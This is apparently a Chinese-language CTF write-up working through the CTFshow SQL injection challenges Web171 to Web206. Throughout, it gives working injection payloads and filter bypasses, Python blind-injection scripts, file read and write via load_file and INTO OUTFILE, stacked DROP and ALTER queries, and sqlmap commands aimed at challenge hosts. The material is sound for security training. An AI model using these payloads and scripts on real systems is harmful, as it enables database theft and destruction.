March 2, 2023

CTFSHOW-SQL注入

Web171(万能密码)

image.png
本地给的提示如图,普通的查询语句,这里的知识点是and和or的优先级
如:select * from product where name=’jack’ and age=18 or id =1
这句话的意思是,名字叫jack且年龄为18的人或者id为1的人,and的优先级比or高
所以我们的payload:1’ or 1=1–
这里要闭合引号,题中有一个双引号一个单引号,我们照葫芦画瓢
payload2:9999’ or id=’26
这个就不用注释了,直接手动闭合单引号

Web172(联合查询)

[模块一]
image.png
这边我们首先尝试用上一把的payload试试:
image.png
很好,不给我们继续爽了,那我们就直接开始爆库,使用联合查询,具体流程如下:
image.png
我们的1,2,3已经成功传入进去了,我们接下来继续payload:1’ union select table_name,2,3 from information_schema.tables where table_schema=database()–
image.png
我们已经把表名暴露出来了,=ctfshow_user就是一开始的假flag,接下来爆字段名称,payload:1’ union select column_name,2,3 from information_schema.columns where table_name=’ctfshow_user2’–
image.png
成功了,我们就继续深入,直接读取password,username,id。payload:1’ union select id,password,username from ctfshow_user2–
image.png
喜提flag!
[模块2]
模块二长着损样,多了一个返回逻辑,意思是如果用户名里有flag那么就会过滤不输出
这里先试试payload:1’ or 1=1 –
image.png
这里发现id被过滤了,简单,我们已经知道flag就在password里面,flag就是username,那我们不就不输出用户名吗?payload:1’ union select 1,2–
image.png
可以发现1,2显示在后两格,所以就最终的payload就显而易见:1’ union select 1,password from ctfshow_user2–
image.png
喜提flag!
另一个payload写法:
1’ union select 1,password from ctfshow_user2 where username=’flag

Web173(联合查询)

image.png
意思和上一题差不多,那个json不要管,我们用上一题的payload完全可以写出来,但是现在玩点子花样:

payload:1’ union select hex(username),password,3 from ctfshow_user3–
image.png
咱们给他把flag加密了,就可以出来了
payload的第二种写法:9999’ union select hex(username),password,3 from ctfshow_user3 where username=’flag
image.png

Web174(replace或盲注)

进入页面:
image.png
查询语句中ban掉了数字,也就是说如果回显结果中有数字是没有数据的
这里可以使用replace函数,将数字替换成指定的字符

payload:1’ union select ‘a’,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(c.password,”1”,”!”),”2”,”@”),”3”,”#”),”4”,”$”),”5”,”%”),”6”,”^”),”7”,”&”),”8”,”“),”9”,”(“),”0”,”)”) from ctfshow_user4 as c where c.username=’flag’–
image.png
发现接口异常,很疑惑?我就抓了个包:
image.png
你知道什么是尿分叉吗,就是这种尿拉不完的,这里卡了我好一会儿,抓包之后才发现是有一部分没有传输进去!
来分析一下,这里截断的地方是,"3","#")因为这里有个#号,#号在URL有特殊意义,所以没法转换过去,我们把#替换为”SEX”之后发现仍然是接口异常,再次抓包:
image.png
可以看到后面有你有部分是蓝色的,结果分析过后发现是7号位的”&”在URL也是有特殊意义的,这是传参用的,把&替换为“SEXX”,再payload:
1’ union select ‘a’,replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(c.password,”1”,”!”),”2”,”@”),”3”,”SEX”),”4”,”$”),”5”,”%”),”6”,”^”),”7”,”SEXX”),”8”,”
“),”9”,”(“),”0”,”)”) from ctfshow_user4 as c where c.username=’flag’–
这次就有了回显:
image.png
ctfshow{b@cdf(@e-SEX**SEXX-$f)b-^)%-SEXdSEXf!a@$aba}
手动把我们替换的字符改回来即可

方法二:
使用二分法盲注,这里是y4tacker大佬的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# @Author:Y4tacker
import requests

url = "http://8a600bf8-fcf2-4f51-ad7c-f4c98b3d87bd.challenge.ctf.show/api/v4.php?id=1' and "

result = ''
i = 0

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
payload = f"1=if(ascii(substr((select password from ctfshow_user4 where username='flag'),{i},1))>{mid},1,0) -- -"
r = requests.get(url + payload)
if "admin" in r.text:
head = mid + 1
else:
tail = mid

if head != 32:
result += chr(head)
else:
break
print(result)

改了一点点,感觉那个limit不需要
二分法盲注的原理实际上也就是数学里的二分法,和时间盲注也很类似,就是不断地缩小范围,最后因为ASCII是整数,直接确定字母
image.png
受教了

Web175(时间盲注+写入文件)

这一题用上一题二分法的思路仍然可行,需要改一下大佬的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# @Author:Y4tacker
import requests
import time

url = "http://7b884264-3c13-4aa4-a57f-8760f3cad6f5.challenge.ctf.show/api/v5.php?id=1' and "

result = ''
i = 0

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
payload = f"if(ascii(substr((select password from ctfshow_user5 where username='flag'),{i},1))>{mid},sleep(1),0) -- -"
t1=time.time()
r = requests.get(url + payload)
t2=time.time()
if r.status_code!=200:
print(r.status_code)
if t2-t1>1:
head = mid + 1
else:
tail = mid

if head != 32:
result += chr(head)
else:
break
print(result)

注意URL中的and不可以改成or,如果改成or会增加判断的条数,导致时间超时:
如果上述脚本改成or,sleep(1),那么响应时间会变成24s,用了or,如果if语句成功了,就会判断24条数据,所以浪费24s!这是非常缓慢的
image.png
所以我们要改成and,这样的话脚本跑一下答案就出来了:
![Y2AONSDX5CHBT}8`}[M(@5.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663748460429-a13469e6-35fe-4337-bb62-64ebf3aa7f8b.png#averageHue=%23968165&clientId=u5eef4552-7a00-4&from=paste&height=143&id=u8400858e&name=Y2AONSDX5CHBT%7D8%60%7D%5BM%28%405.png&originHeight=179&originWidth=593&originalType=binary&ratio=1&rotation=0&showTitle=false&size=24398&status=done&style=none&taskId=udd708d10-aab5-4b5e-8c9a-07cff1d1a84&title=&width=474.4)
受教
解法二:

如:SELECT customer_id, firstname, surname INTO OUTFILE ‘/exportdata/customers.txt’
这里用这个将passwd写入我们的1.txt文件
payload:1’ union select 1,password from ctfshow_user5 where username=’flag’ into outfile ‘/var/html/www/1.txt’–
image.png
虽然他这里显示接口异常,但是我们访问Url+1.txt还是可以看到答案的:
image.png

Web176(万能密码,过滤开始)

image.png
确实过于简单,1' or 1=1-- 直接一把嗦
image.png

Web177(空格过滤)

经过一些小测试发现是过滤了空格,空格过滤了可以用多行注释/**/去代替
输入
1'union/**/select/**/1,2,3%23,%23是#,因为在URL中意义所以转码
有回显:
image.png
继续输入:
1'/**/union/**/select/**/password,1,1/**/from/**/ctfshow_user/**/where/**/username/**/='flag'%23
直接读取flag:
image.png
受教

Web178(空格过滤)

这里除了禁用空格,还禁用了*
我们不能使用/**/去绕过空格了,但是我们还有一大堆东西啊
使用%09,%0a,%0c这些全部都可以
payload:
1'%09or%091=1%23
或者
payload:
1'%09union%09select%091,2,password%09from%09ctfshow_user%09where%09username='flag'%23
image.png
都可以得出答案,都可以

Web179(同上)

在上一题的基础上ban了%09
用%0c薄纱
payload:
1'%0cunion%0cselect%0c1,2,password%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'%23
or:
1'%0cor%0c1=1%23

Web180(同上)

在上一题基础上ban了#,但是不ban%0c
payload:1'%0cor%0c1=1--%0c

payload2:
-1'or(id=26)and'1'='1

Web181(同上)

-1'or(id=26)and'1'='1
依旧白嫖

Web182(同上)

-1'or(id=26)and'1'='1
or:
id=0'||(username)regexp'f

mysql中的正则表达式
image.png
image.png

Web183(无列表回显)

image.png
可以看到返回值只是所查询表的行数,用了count函数

这一题可以用脚本跑正则表达式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#author:yu22x
import requests
import string
url="http://3bc26e25-61df-4664-9a43-ed74c7255d91.challenge.ctf.show/select-waf.php"
s=string.digits+string.ascii_lowercase+"{_-}"#生成数字+小写字母,再加上{,_,-,}
flag=''
for i in range(1,45):
print(i)
for j in s:
data={
'tableName':f'(ctfshow_user)where(pass)regexp("^ctfshow{flag+j}")'
}
#print(data)
r=requests.post(url,data=data)
#print(r.text)
if("user_count = 1" in r.text):
flag+=j
print(flag)
break

用到了正则表达式和括号,括号绕过空格,很好理解
string.digits+string.ascii_lowercase的含义:
就是srting模块的函数,生成所有数字,生成所有小写字母

image.png

Web184(where,引号过滤)

image.png
查询语句如上,ban掉了挺多的,其中单引号和双引号,where都不能使用了
但是注意,这一题把空格放出来了
where没了有很多能代替的

而且这一题的查询语句也变了,变成了count(*),他对所有数据进行总和的话就不太好去操作,所以要用到group by 具体怎么用:
接下来就是写个脚本了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#author Boogipop

import requests
import string
def str2hex(str): #字符串转16进制字符串0x开头的形式
result=''
for i in str:
i=hex(ord(i)) #hex将十进制变为16进制,ord将字符变为ascii码
i=i.replace("0x",'')#把0x前缀去掉,最后再在最前面加上
result=result+i
result2="0x"+result#对应上面
return result2
s=string.digits+string.ascii_lowercase+"{_-}"#生成数字+小写字母,再加上{,_,-,}
url = "http://b7e07fb1-0c0c-46a7-b14a-608252446a00.challenge.ctf.show/select-waf.php"
flag = '{'
for i in range(45):
print(i)
for j in s:
target=f"ctfshow{flag+j}"
target=str2hex(target)
data = {
"tableName": f"ctfshow_user group by pass having pass regexp({target})"
}
r = requests.post(url,data=data)
if r.text.find("$user_count = 1;")>0:
flag += j
print(flag.lower())
break

由于regexp函数可以识别十六进制字符串,所以我们要把输入的字符串转化为十六进制,再放进去,这样就可以绕过引号了,where就用having去替代
答案就出来了

方法好像很多,方法二:

这三个函数也是可以替代where的,以这三个函数为思路去写个脚本2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# @Author:Y4tacker
import requests

url = "http://f15ac2ca-94b7-4257-a52a-00e52ecee805.chall.ctf.show/select-waf.php"

flag = 'flag{'
for i in range(45):
if i <= 5:
continue
for j in range(127):
data = {
"tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{i},1)regexp(char({j})))"
}
r = requests.post(url,data=data)
if r.text.find("$user_count = 43;")>0:
if chr(j) != ".":
flag += chr(j)
print(flag.lower())
if chr(j) == "}":
exit(0)
break


Web185(数字过滤)

image.png
在上一题的基础上他娘的过滤了数字
无措时看到个图:
image.png
意思应该挺好懂

在此基础上改改上一题的脚本就OK了~
改脚本一很难,笔记十六进制字符,改改脚本二

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests

url = "http://ff0274dd-9f12-4e8a-b356-55ab4018921e.challenge.ctf.show/select-waf.php"

flag = 'flag{'


def createNum(n):
num = 'true'
if n == 1:
return 'true'
else:
for i in range(n - 1):
num += "+true"
return num


for i in range(6,45):
for j in range(127):
data = {
"tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{createNum(i)},{createNum(1)})regexp(char({createNum(j)})))"
}
r = requests.post(url, data=data)
if r.text.find("$user_count = 43;") > 0:
if chr(j) != ".":
flag += chr(j)

print(flag.lower())
if chr(j) == "}":
exit(0)
break

结束~

Web186(同上)

用上面的脚本跑

Web187(md5(‘’,true)绕过)

image.png
确实是没什么过滤,而且注入点也很容易看到,那就是password,但是password经过了md5(‘’,true)处理过了

image.png
测试一下就知道了:

1
2
3
<?php
echo md5('HELLO',true)
?>

image.png
输出结果是一堆乱码,所以怎么找到经过这个函数处理后结果为’ or 1这样的字符串,在网上搜到了两个:
ffifdyop
image.png
带有’or’6这样就够了
129581926211651571912466741651878684928

image.png
带有’or’8也可以满足
输入以上任意两个就可以得到flag:
image.png
参考:

Web188(弱类型比较)

image.png
由于用户名和密码肯定字符串,字符串在弱类型比较中就等于0
所以payload1:
username=0,password=0
或者username=1<1,password=0

payload2:
没有ban掉||
username=1||1,password=0

Web189(load_file+盲注)

image.png
前置知识:

image.png
这样就好说了,这一题用上一题的payload会发现可以得到提示,密码错误,说明username是没有错的,用0就可以绕过,密码换了,无法用0去绕过了

这样子就只可以用BOOLEAN盲注,写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# Author:Y4tacker
# Changer:Boogipop
import requests

url = "http://2d6f9116-1123-45ed-bcd5-d81dd594951e.challenge.ctf.show/api/"


def getFlagIndex():#用于获取flag的位置
head = 1
tail = 300
while head < tail:
mid = (head + tail) >> 1 #二分法找位置
data = {
'username': "if(locate('ctfshow'," + "load_file('/var/www/html/api/index.php'))>{0},0,1)".format(mid),#找到flag中
'password': '1'
}
r = requests.post(url, data=data)
if "u8bef" in r.text:
head = mid + 1
else:
tail = mid
return mid


def getFlag(num):#得到flag
i = int(num)
result = ""
while 1:
head = 32
tail = 127

i = i + 1
while head < tail:
mid = (head + tail) >> 1 #二分法找位置
data = {
'username': "if(ascii(substr(load_file('/var/www/html/api/index.php'),{0},1))>{1},0,1)".format(i,mid),
'password': '1'
}
r = requests.post(url, data=data)
if "u8bef" in r.text:
head = mid + 1
else:
tail = mid
mid += 1
if head != 32:
result += chr(head)
print(result)
else:
break


index = getFlagIndex()
getFlag(index)

用load_file和locate首先定位flag出现在哪儿,再去盲注读取
还可以改一下脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# Author:Y4tacker
# Changer:Boogipop
import requests

url = "http://2d6f9116-1123-45ed-bcd5-d81dd594951e.challenge.ctf.show/api/"


def getFlag(num):#得到flag
i = int(num)
result = ""
while 1:
head = 1
tail = 127

i = i + 1
while head < tail:
mid = (head + tail) >> 1 #二分法找位置
data = {
'username': "if(ascii(substr(load_file('/var/www/html/api/index.php'),{0},1))>{1},0,1)".format(i,mid),
'password': '1'
}
r = requests.post(url, data=data)
if "u8bef" in r.text:
head = mid + 1
else:
tail = mid
mid += 1
if head != 1:
result += chr(head)
print(result)
else:
break

getFlag(1)

这样可以直接把index.php读出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-11-01 14:21:03
# @Last Modified by: h1xa
# @Last Modified time: 2020-11-08 14:35:46
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);

require_once "config.php";
$flag = 'ctfshow{018b4494-0f9a-4fc3-8ab4-8aeea7d4f59d}';
$ua = $_SERVER['HTTP_USER_AGENT'];
if(preg_match('/sqlmap/i', $ua)){
die(json_encode(array("sqlmap")));#中文乱码

}

if(isset($_POST['username']) && isset($_POST['password'])){
$ret = array(
"code"=>0,
"msg"=>"",#中文乱码
"count"=>0,
"data"=>array()
);

结束~

Web190(布尔盲注)

image.png
这里输入username=0,password=0会提示没有该用户,原因是什么?
注意’{$username}’这次加了,做个简单测试:
image.png
image.png
0和‘0’的意义是不一样的!
后来经过测试,发现username=admin时提示,密码错误,也就是说有这个用户名,以此为根据写个脚本(自己第一次写脚本QWQ)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#author:Boogipop
import requests
url='http://143741ab-1a01-4c02-b763-04ed35430470.challenge.ctf.show/api/'
flag=''
i=0
while 1:
head=1
tail=127
i+=1
print(i)
while head<tail:
mid=(head+tail)>>1
# "username": f"admin' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid},1,0)#"
# "username": f"admin' and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{i},1))>{mid},1,0)#"
data={"username":f"admin' and if(ascii(substr((select group_concat(f1ag) from ctfshow_fl0g),{i},1))>{mid},1,0)#",
"password":0}
r=requests.post(url,data=data)
if 'u8bef' in r.text:#存在用户名的话就会显示密码错误
head=mid+1
else:
tail=mid
if head!=1:
flag=flag+chr(head)
print(flag)
else:
break;

简简单单的二分法,经过测试,二分法的速度比一般的盲注快一万倍
接下来的流程就是,爆表》》爆列》》爆字段
这里注意他妈的是f1ag不是flag!!!!!
![P[[3%8_OB~9]65X~[Q14OC.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663923340476-0b978fe4-8821-4426-aecb-903dad0465a8.png#averageHue=%232d2d2c&clientId=udddb62e8-82cd-4&from=paste&height=133&id=u98a1e2f3&name=P%5B%5B3%258%60_OB~9%5D65X~%5BQ14OC.png&originHeight=166&originWidth=501&originalType=binary&ratio=1&rotation=0&showTitle=false&size=12074&status=done&style=none&taskId=u7e8b144a-4037-482e-81dd-5155c19c244&title=&width=400.8)![WG0991PVK4RGM`{CE2X8WI.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663923342733-2934b5a2-8b86-4534-bf73-3bb7f24e9dd6.png#averageHue=%232d2c2c&clientId=udddb62e8-82cd-4&from=paste&height=130&id=u8b4a1b20&name=WG0991PVK4R%60GM%60%7BCE2X8WI.png&originHeight=162&originWidth=384&originalType=binary&ratio=1&rotation=0&showTitle=false&size=9018&status=done&style=none&taskId=u558b1cf0-b283-4929-9b73-87d67e350b8&title=&width=307.2)
image.png

Web191(布尔盲注)

过滤了ascii函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#author:Boogipop
import requests
import string
url='http://1945fb15-4157-463d-8f19-a489eabc0e11.challenge.ctf.show/api/'
flag=''
i=0
s=string.digits+string.ascii_lowercase+string.ascii_uppercase+"{_-}"#生成数字+小写字母,再加上{,_,-,}
while 1:
i+=1
print(i)
for j in s:
# "username": f"admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1)='{j}',1,0)#"
data={
"username":f"admin' and if(substr((select f1ag from ctfshow_fl0g),{i},1)='{j}',1,0)#",
"password":0
}
r=requests.post(url,data=data)
if "u8bef" in r.text:
if j.islower() or j=='-' or j.isnumeric() or j=='{' or j=='}':
flag=flag+j
print(flag)
else:
pass

这是我写的脚本,可是我似乎忽略了这一题还是可以用二分法的。。

image.png
二分法脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests

url = 'http://1945fb15-4157-463d-8f19-a489eabc0e11.challenge.ctf.show/api/'
flag = ''
i = 0
while True:
i += 1
head = 1
tail = 127
print(i)
while head<tail:
mid = (head + tail) >> 1
data = {
"username": f"admin' and if(ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i+1},1))>{mid},1,0)#"
, "password": 0
}
r = requests.post(url, data=data)
if "u8bef" in r.text:
head = mid + 1
else:
tail = mid
if head !=1:
flag += chr(head)
print(flag)
else:
break

二分法的脚本往往是最快的,因为判断的东西很简单,会快特别多

Web192(同上)

用上面的脚本1可以跑出来,ban了ord的话
或者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# @Author:Y4tacker
import requests
import string

url = "http://2c0073f7-8662-4a12-a742-f17e1818ed0a.chall.ctf.show/api/"
flagstr=" _{}-" + string.ascii_lowercase + string.digits
flag = ''
z = 'flag'
for i in range(1,45):
for j in flagstr:
payload = f"admin' and if((select group_concat(f1ag) from ctfshow_fl0g)regexp('{j}'),1,2)='1"
data = {
'username': payload,
'password': '1'
}
r = requests.post(url, data=data)
if "密码错误" == r.json()['msg']:
flag += j
print(flag)
if "}" == j:
exit(0)
break

Web193(继续过滤)

image.png
这次把substr和ascii,ord给ban掉了,没办法了吗?
不存在的!用left函数

利用这个函数写个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#author:boogipop
import requests
import string

url = "http://ee494e46-1db2-43d2-8044-721542ebc175.challenge.ctf.show/api/"
flagstr=string.ascii_lowercase + string.digits+" _{}-,"
flag = ''
for i in range(1,45):
print(i)
for j in flagstr:
flag+=j
# payload = f"admin' and if(locate('{flag}',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1,2)='1"
# payload = f"admin' and if(left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{i})='{flag}',1,2)='1"
payload = f"admin' and if(left((select group_concat(f1ag) from ctfshow_flxg),{i})='{flag}',1,2)='1"

data = {
'username': payload,
'password': '1'
}
r = requests.post(url, data=data)
if "密码错误" == r.json()['msg']:
print(flag)
if "}" == j:
exit(0)
break
else:
flag=flag[:-1]

还有就是虽然也可以试着用locate函数,但是这个没有顺序截取的,他只是判断是否有字符串存在,所以这个只是个比较巧的题,也可以用locate得出答案,但这是纯运气问题

Web194(继续过滤)

一如既往老兄
image.png
多ban了left和right,真的就是作对啊,咱们用regexp和locate
locate这边可能有时候就会有点运气成分,所以locate用来读表和列
regexp用来精确读取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import requests
import string

url = "http://da6bfd3e-4158-4de3-83dc-40f1b95d44d3.challenge.ctf.show/api/"
flagstr=string.ascii_lowercase + string.digits+" _{}-,"
flag = ''
for i in range(1,45):
print(i)
for j in flagstr:
flag+=j
# payload = f"admin' and if(locate('{flag}',(select group_concat(f1ag) from ctfshow_flxg)),1,2)='1"
payload=f"admin' and if((select f1ag from ctfshow_flxg)regexp('ctfshow{flag}'),1,0)#"
# payload = f"admin' and if(right((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i})='{flag}',1,2)='1"
# payload = f"admin' and if(right((select group_concat(f1ag) from ctfshow_flxg),{i})='{flag}',1,2)='1"

data = {
'username': payload,
'password': '1'
}
r = requests.post(url, data=data)
if "密码错误" == r.json()['msg']:
print(flag)
if "}" == j:
exit(0)
break
else:
flag=flag[:-1]

或者跑二分法脚本,我怎么没想到啊?
‘a’>’c’这也是用ascii码比较的,所以ascii就多此一举了好吗沃日

image.pngimage.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import requests

url = "http://da6bfd3e-4158-4de3-83dc-40f1b95d44d3.challenge.ctf.show/api/"
# 表名 ctfshow{flxg,ctfshow{user
# payload = "0' or if(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)>'{}',1,0) -- "
# 列名 id,f1ag,id,username,pass
# payload = "0' or if(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1)>'{}',1,0) -- "
# flag
payload = "0' or if(mid((select f1ag from ctfshow_flxg),{},1)>'{}',1,0) -- "
true_flag = "\\u5bc6\\u7801\\u9519\\u8bef"
result = ""
index = 1
while True:
start = 32
end = 127
while not (abs(start-end) == 1 or start == end): #abs,取绝对值
p = (start + end) // 2
data = {
"username": payload.format(index, chr(p)),
"password": 0
}
response = None
while True:
try:
response = requests.post(url, data=data)
except:
continue
break
if true_flag in response.text:
start = p
else:
end = p

result += chr(end).lower() # 部分字母变成了大写 _ 变成了 { 暂时还不知道什么原因 但可以肯定跟没用 ascii() 有关
print(f"[*] result: {result}")
index += 1

Web195(堆叠注入开始)

由于是第一题,我将详细写一遍
image.png
注意这里,查询语句中的username已经没有引号包裹了,取而代之的是在结尾加了个分号,这时候考虑堆叠注入
什么是堆叠注入,就是执行多条sql语句:
image.png
题目中ban掉了',",and,select,union这基本说明不能用sql注入已经盖棺定论了
但是唯独没有ban分号;
这时候可以使用堆叠注入
payloadusername=1;update(ctshow_user)setpass=1
password=1
用堆叠注入去改密码,然后登入即可

更改数据的sql语句:image.png
这里虽然不能用空格,但是能用以下两种格式去绕过:
update(ctshow_user)setpass=1
updatectfshow_usersetpass=1
不能2个都用括号包裹,会报错,已经测试

image.png
就是区别特殊字符串的用法,相当于python中单引号括起来的就强调这是字符串

最后直接输入username=0,password=1
为什么输入username=admin不行呢?因为查询语句中username没有被引号包裹起来,单纯输入admin进去是不会被识别成字符串的,所以用0来代替,具体原因在上面讲过

除此之外,还可以输入16进制字符串:username=0x61646d696e
也就是admin的十六进制形式:
image.png
mysql可以识别十六进制字符串,再转化为字符串:
image.png

Web196(常规)

image.png
嘴巴上说了ban了select,实际上还是可以用
payload:username=1;select(1),password=1
这里为什么密码是1呢,仔细看判断语句,是$row[0]==$password,只要查询结果的第一行等于我们输入的password即可,堆叠注入后后面一个语句会成为查询结果取而代之就是1了

Web197(alter,drop,create)

解法挺多的
image.png
这次是真ban了select,我们就用alter把pass和id的名字互换,然后通过爆破得到结果

image.png
payload:0;alter table ctfshow_user change pass k1he varchar(255); alter table ctfshow_user change id pass varchar(255)
这里一定要指定类型啊,这是必要参数
然后burpsuite抓包,爆破:
image.png
用户名是admin 的十六进制字符串,开始爆破:
image.png

Payload2:
通过删除数据库,再新建数据库来达到目的
1;drop table ctfshow_user;create table ctfshow_user(username varchar(255),pass varchar(255));insert ctfshow_user(username,pass) value(1,2)
这里insert插入数据也可以这么写,一般是insert table into values,也可以像上面一样的写
image.png
之后直接用户名输入1,密码输入2
image.png

Web198(alter)

用上述payload1即可

Web199(常规,数据类型)

image.png
ban了括号,没了括号就不能指定类型varchar了,varchar(长度),要这样子使用
payload:1;show tables

然后由于第一行就是ctfshow_user
password直接输入ctfshow_user即可,和web196有些许类似

payload2:
0;alter table ctfshow_user change pass k1he text;alter table ctfshow_user change id pass int
我为什么没想到还有text数据类型,然后id改为int即可
之后username=admin的十六进制,爆破password即可

Web200(堆叠结束)

上述2个方法均可

Web201(sqlmap开始)

image.png
image.png
前端已经显示不出东西了,这时候得用sqlmap去试试
python sqlmap.py -u "[http://d9e69483-f882-4f05-abfa-70db01f64a3d.challenge.ctf.show/api/?id=1"](http://d9e69483-f882-4f05-abfa-70db01f64a3d.challenge.ctf.show/api/?id=1") --user-agent=sqlmap --referer=ctf.show --dbs
这一条指令可以指定useragent和referer的值,来达到绕过,–dbs表示爆出数据库,经过在/api界面的测试,useragent和referer都有判断,referer要包含ctf.show,然后user-agent要有sqlmap
image.png
“不用sqlmap是没有灵魂的”
image.png
image.png
image.png
数据库出来了啊,然后我们就查询库里的表:
python sqlmap.py -u "[http://d9e69483-f882-4f05-abfa-70db01f64a3d.challenge.ctf.show/api/?id=1"](http://d9e69483-f882-4f05-abfa-70db01f64a3d.challenge.ctf.show/api/?id=1") --user-agent=sqlmap --referer=ctf.show -D "ctfshow_web" --tables
image.png
最后暴字段:
python sqlmap.py -u "[http://d9e69483-f882-4f05-abfa-70db01f64a3d.challenge.ctf.show/api/?id=1"](http://d9e69483-f882-4f05-abfa-70db01f64a3d.challenge.ctf.show/api/?id=1") --user-agent=sqlmap --referer=ctf.show -D "ctfshow_web" -T "ctfshow_user" --columns
image.png
最后得到数据:
python sqlmap.py -u "[http://d9e69483-f882-4f05-abfa-70db01f64a3d.challenge.ctf.show/api/?id=1"](http://d9e69483-f882-4f05-abfa-70db01f64a3d.challenge.ctf.show/api/?id=1") --user-agent=sqlmap --referer=ctf.show -D "ctfshow_web" -T "ctfshow_user" --dump
这是爆出当前表所有字段的数据,假如想爆出指定的话那就
-D "ctfshow_web" -T "ctfshow_user" -C "字段" --dump
image.png

Web202(–data改请求方式)

image.png
不管你输入什么他都是返回你所有的数据,然后抓包:
image.png
改了一下请求方式,并且改了ua和referer发现出现了不同的结果
salmap上号:
python sqlmap.py -u [http://e1faa3a4-5f2e-4751-8f15-98be4258af9f.challenge.ctf.show/api/](http://e1faa3a4-5f2e-4751-8f15-98be4258af9f.challenge.ctf.show/api/) --data "id=1" --user-agent=sqlmap --referer=ctf.show --dbs
-- data:以post方式去传递参数
next:
python sqlmap.py -u [http://e1faa3a4-5f2e-4751-8f15-98be4258af9f.challenge.ctf.show/api/](http://e1faa3a4-5f2e-4751-8f15-98be4258af9f.challenge.ctf.show/api/) --data "id=1" --user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables
之后就爆库就行:
image.png

Web203(–method)
image.png
本题需要用–method去修改请求模式,经过测试需要PUT提交
python .\sqlmap.py [http://8f90510a-3286-4a8f-80da-467a621a5d71.challenge.ctf.show/api/index.php](http://8f90510a-3286-4a8f-80da-467a621a5d71.challenge.ctf.show/api/index.php) --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --headers="Content-Type:text/plain"
用put方式提交的话,要用”Content-Type:text/plain”,否则put接受不到提交的表单
最后就是一步步的嗦

Web204(–cookie)

python .\sqlmap.py [http://13d42cff-f75e-4d63-82b6-e071e956dfce.challenge.ctf.show/api/index.php](http://13d42cff-f75e-4d63-82b6-e071e956dfce.challenge.ctf.show/api/index.php) --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --headers="Content-Type:text/plain" --cookie="PHPSESSID=8ob7ousv6ls8c04t166amj23ou;ctfshow=2d06e5c71814a2377eaf967b222971fd" -D ctfshow_web --dump
就多追加了一个cookie

Web205(鉴权)

通过抓包分析发现:
image.png
访问/api之前会访问/api/gettoken.php这一网址,说明存在鉴权
sqlmap:
python .\sqlmap.py [http://e8ca2bfa-09e7-4477-ba64-f6fc01a336f1.challenge.ctf.show/api/index.php](http://e8ca2bfa-09e7-4477-ba64-f6fc01a336f1.challenge.ctf.show/api/index.php) --data "id=1" --user-agent=sqlmap --referer=ctf.show --method=PUT --headers="Content-Type:text/plain" --safe-url="[http://e8ca2bfa-09e7-4477-ba64-f6fc01a336f1.challenge.ctf.show/api/getToken.php"](http://e8ca2bfa-09e7-4477-ba64-f6fc01a336f1.challenge.ctf.show/api/getToken.php") --safe-freq=1

–safe-url:意思是访问目标网址前需要访问的地址,–safe-freq是每两次间访问gettoken的次数,设置为一次就够了,随后就直接dump就够了

Web206(闭合)

image.png
说是考查闭合,可是sqlmap会自己识别闭合呀

